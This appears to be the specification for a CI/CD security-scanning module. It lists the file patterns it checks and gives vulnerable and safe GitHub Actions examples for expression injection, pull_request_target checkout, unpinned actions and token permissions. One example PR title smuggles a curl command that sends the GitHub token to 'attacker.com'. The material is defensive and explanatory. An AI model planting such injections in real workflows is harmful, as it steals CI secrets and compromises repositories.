sc-ci-cd

SC: CI/CD Pipeline Security

Purpose

Detects CI/CD pipeline security vulnerabilities with deep focus on GitHub Actions expression injection, pull_request_target misuse, untrusted third-party actions, secret exposure in logs, artifact poisoning, and pipeline privilege escalation. Also covers GitLab CI and general pipeline security patterns.

Activation

Called by sc-orchestrator during Phase 2 when CI/CD configuration files are detected.

Phase 1: Discovery

File Patterns

**/.github/workflows/*.yml, **/.github/workflows/*.yaml,
**/.gitlab-ci.yml, **/Jenkinsfile, **/.circleci/config.yml,
**/.travis.yml, **/azure-pipelines.yml

GitHub Actions Security Checks

1. Expression Injection (Critical):

# VULNERABLE: User-controlled data in run command
- run: echo "Title: ${{ github.event.pull_request.title }}"
# PR title: "Fix $(curl attacker.com/steal?t=$GITHUB_TOKEN)" → RCE

# SAFE: Use environment variable (not interpreted by shell)
- run: echo "Title: $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

Dangerous contexts: github.event.pull_request.title, github.event.pull_request.body, github.event.issue.title, github.event.issue.body, github.event.comment.body, github.event.review.body, github.event.head_commit.message, github.event.commits[*].message, github.head_ref

2. pull_request_target with Checkout:

# VULNERABLE: Checking out PR code with write access
on: pull_request_target
jobs:
  build:
    steps:
    - uses: actions/checkout@v4
      with:
        ref: ${{ github.event.pull_request.head.sha }}  # PR code!
    - run: npm install  # Runs attacker's package.json scripts!

3. Untrusted Actions:

# RISKY: Mutable tag reference
- uses: some-org/some-action@v1  # Tag can be moved to malicious commit

# SAFE: Pin to SHA
- uses: some-org/some-action@a1b2c3d4e5f6...  # Immutable

4. Excessive GITHUB_TOKEN Permissions:

# VULNERABLE: Default write-all permissions
# (no permissions block = write access to everything)

# SAFE: Minimal permissions
permissions:
  contents: read
  pull-requests: write